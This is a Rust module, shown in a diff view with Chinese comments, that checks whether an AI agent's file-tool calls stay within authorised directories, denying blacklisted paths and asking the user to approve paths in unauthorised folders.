||||||
|
//!
|
||||||
|
//! 第六批从 audit/mod.rs 抽离,行为零变更。包含:
|
||||||
|
//! - `extract_file_tool_paths`:从工具参数中提取文件路径
|
||||||
|
//! - `FileToolAuthOutcome`:授权判定结果枚举
|
||||||
|
//! - `check_file_tool_auth`:对单条文件工具调用做路径授权预校验
|
||||||
|
//!
|
||||||
|
//! process_tool_calls 通过 `use path_auth::check_file_tool_auth` 裸名调用。
|
||||||
|
//! 测试模块通过 `super::check_file_tool_auth` 引用。
|
||||||
|
|
||||||
|
use super::PathAuthRequest;
|
||||||
|
|
||||||
|
/// F-260619-03 Phase B: 提取文件工具的路径参数(用于路径授权预校验)。
|
||||||
|
///
|
||||||
|
/// 仅对走 resolve_workspace_path 校验的文件工具返回路径;非文件工具返回空 Vec(不预校验)。
|
||||||
|
/// - 单路径工具(read_file/write_file/list_directory/patch_file/file_info/append_file/delete_file/search_files/grep)
|
||||||
|
/// 取 args["path"]
|
||||||
|
/// - rename_file 双路径取 args["from"] + args["to"](两个都需授权)
|
||||||
|
/// - run_command 不返回(它只走 validate_path 黑名单,不限定 workspace,High risk 靠人工审批)
|
||||||
|
pub(crate) fn extract_file_tool_paths(tool_name: &str, args: &serde_json::Value) -> Vec<String> {
|
||||||
|
match tool_name {
|
||||||
|
"rename_file" => {
|
||||||
|
let mut v = Vec::new();
|
||||||
|
if let Some(from) = args.get("from").and_then(|x| x.as_str()) {
|
||||||
|
v.push(from.to_string());
|
||||||
|
}
|
||||||
|
if let Some(to) = args.get("to").and_then(|x| x.as_str()) {
|
||||||
|
v.push(to.to_string());
|
||||||
|
}
|
||||||
|
v
|
||||||
|
}
|
||||||
|
"read_file" | "write_file" | "list_directory" | "patch_file" | "file_info"
|
||||||
|
| "append_file" | "delete_file" | "search_files" | "grep" => {
|
||||||
|
args.get("path").and_then(|x| x.as_str()).map(|s| vec![s.to_string()]).unwrap_or_default()
|
||||||
|
}
|
||||||
|
_ => Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// F-260619-03 Phase B/C: 路径授权预校验结果。
|
||||||
|
pub(crate) enum FileToolAuthOutcome {
|
||||||
|
/// 全部已授权 → 走原 Low/Med/High 流程
|
||||||
|
Authorized,
|
||||||
|
/// 未授权 → 附带 PathAuthRequest,供挂起弹窗
|
||||||
|
NeedsAuth(PathAuthRequest),
|
||||||
|
/// 命中黑名单 → 硬拒
|
||||||
|
Denied(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// F-260619-03 Phase B/C: 对单条文件工具调用做路径授权预校验,返回是否需挂起/拒绝/放行。
|
||||||
|
///
|
||||||
|
/// - 路径任一命中黑名单 → `Denied(reason)`:硬拒(工具返 Err tool_result,不挂起)
|
||||||
|
/// - 路径任一未命中白名单(persistent + session_dirs)且非黑名单 → `NeedsAuth`:
|
||||||
|
/// 附带 PathAuthRequest(规范化父目录 + 原始路径列表),供挂起弹窗
|
||||||
|
/// - 全部已授权 → `Authorized`:走原 Low/Med/High 流程
|
||||||
|
pub(crate) fn check_file_tool_auth(
|
||||||
|
tool_name: &str,
|
||||||
|
args: &serde_json::Value,
|
||||||
|
allowed: &crate::state::AllowedDirs,
|
||||||
|
) -> FileToolAuthOutcome {
|
||||||
|
use crate::state::{check_path_authorization, PathAuthDecision};
|
||||||
|
let paths = extract_file_tool_paths(tool_name, args);
|
||||||
|
if paths.is_empty() {
|
||||||
|
// 非文件工具或无路径参数(如缺 path 的异常调用)→ 放行,走原流程(handler 内会因缺参 Err)
|
||||||
|
return FileToolAuthOutcome::Authorized;
|
||||||
|
}
|
||||||
|
// L1 补丁(rename_file 双路径漏校):收集**所有**未授权父目录(去重),
|
||||||
|
// 不只首个。rename_file 的 from/to 若分属不同未授权目录,两个 dir 都需挂起授权。
|
||||||
|
let mut pending_dirs: Vec<std::path::PathBuf> = Vec::new();
|
||||||
|
for p in &paths {
|
||||||
|
match check_path_authorization(p, allowed) {
|
||||||
|
PathAuthDecision::Denied { reason } => return FileToolAuthOutcome::Denied(reason),
|
||||||
|
PathAuthDecision::NeedsAuthorization { dir } => {
|
||||||
|
if !pending_dirs.contains(&dir) {
|
||||||
|
pending_dirs.push(dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PathAuthDecision::Authorized => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if pending_dirs.is_empty() {
|
||||||
|
FileToolAuthOutcome::Authorized
|
||||||
|
} else if tool_name == "search_files" {
|
||||||
|
// 核心设计5:search_files 兜底 — 盲搜语义应拒不应询。
|
||||||
|
// search_files 仅在已授权目录可用;用户已通过 @项目 提供项目上下文,无需搜索文件系统。
|
||||||
|
// (黑名单已在上方 for 循环内短路返 Denied,走到此处均为 NeedsAuthorization 场景。)
|
||||||
|
// 其他文件工具保持原 NeedsAuth 弹窗逻辑完全不变。
|
||||||
|
FileToolAuthOutcome::Denied(
|
||||||
|
"search_files 仅在已授权目录可用;请用 @[项目] 引用或提供绝对路径,不要盲搜文件系统。".to_string(),
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
FileToolAuthOutcome::NeedsAuth(PathAuthRequest { dirs: pending_dirs, raw_paths: paths })
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user